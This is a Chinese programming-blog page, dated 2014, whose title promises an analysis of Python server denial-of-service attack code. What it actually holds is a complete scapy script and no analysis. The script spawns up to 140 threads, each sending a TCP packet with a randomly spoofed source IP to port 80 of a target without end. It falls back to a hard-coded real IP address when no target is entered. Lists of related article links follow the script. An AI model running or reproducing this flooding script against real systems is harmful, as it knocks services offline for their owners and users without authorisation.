分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
解析Python中的异常处理
Apr 28 Python
Python字符串格式化
Jun 15 Python
深入理解NumPy简明教程---数组1
Dec 17 Python
Python实现的矩阵类实例
Aug 22 Python
Python 记录日志的灵活性和可配置性介绍
Feb 27 Python
替换python字典中的key值方法
Jul 06 Python
浅谈python连续赋值可能引发的错误
Nov 10 Python
pandas取出重复数据的方法
Jul 04 Python
python SVM 线性分类模型的实现
Jul 19 Python
PYQT5开启多个线程和窗口,多线程与多窗口的交互实例
Dec 13 Python
Python使用Socket实现简单聊天程序
Feb 28 Python
Pytorch高阶OP操作where,gather原理
Apr 30 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
用PHP实现ODBC数据分页显示一例
2006/10/09 PHP
php curl 登录163邮箱并抓取邮箱好友列表的代码(经测试)
2011/04/07 PHP
PHP函数篇之掌握ord()与chr()函数应用
2011/12/05 PHP
php实现在多维数组中查找特定value的方法
2015/07/29 PHP
PHP的cookie与session原理及用法详解
2019/09/27 PHP
PHP vsprintf()函数格式化字符串操作原理解析
2020/07/14 PHP
js 解决“options为空或不是对象”
2008/12/22 Javascript
js 通用javascript函数库整理
2011/08/14 Javascript
MyEclipse取消验证Js的两种方法
2013/11/14 Javascript
JavaScript和HTML DOM的区别与联系及Javascript和DOM的关系
2015/11/15 Javascript
js省市区级联查询(插件版&amp;无插件版)
2017/03/21 Javascript
基于webpack.config.js 参数详解
2018/03/20 Javascript
jQuery实现轮播图及其原理详解
2020/04/12 jQuery
Vue cli3 库模式搭建组件库并发布到 npm的流程
2018/10/12 Javascript
nodejs中方法和模块用法示例
2018/12/24 NodeJs
JavaScript剩余操作符Rest Operator详解
2019/07/20 Javascript
20道JS原理题助你面试一臂之力(必看)
2019/07/22 Javascript
浅谈Vue为什么不能检测数组变动
2019/10/14 Javascript
vue实现在进行增删改操作后刷新页面
2020/08/05 Javascript
Vue实现随机验证码功能
2020/12/29 Vue.js
python使用wxpy实现微信消息防撤回脚本
2019/04/29 Python
Python虚拟环境的原理及使用详解
2019/07/02 Python
python实现控制电脑鼠标和键盘,登录QQ的方法示例
2019/07/06 Python
python实现复制大量文件功能
2019/08/31 Python
Python OpenCV图像指定区域裁剪的实现
2019/10/30 Python
Python中的面向接口编程示例详解
2021/01/17 Python
CSS3 transition 实现通知消息轮播条
2020/10/14 HTML / CSS
北美Newegg打造的全球尖货海购平台:tt海购
2018/09/28 全球购物
有模特经验的简历自我评价
2013/09/19 职场文书
电焊工工作岗位职责
2014/02/06 职场文书
连锁酒店店长职责范本
2014/02/13 职场文书
初中生考试作弊检讨书
2014/12/14 职场文书
文员岗位职责范本
2015/04/16 职场文书
2015年小学教科研工作总结
2015/07/20 职场文书
MySQL系列之五 视图、存储函数、存储过程、触发器
2021/07/02 MySQL
浅谈GO中的Channel以及死锁的造成
2022/03/18 Golang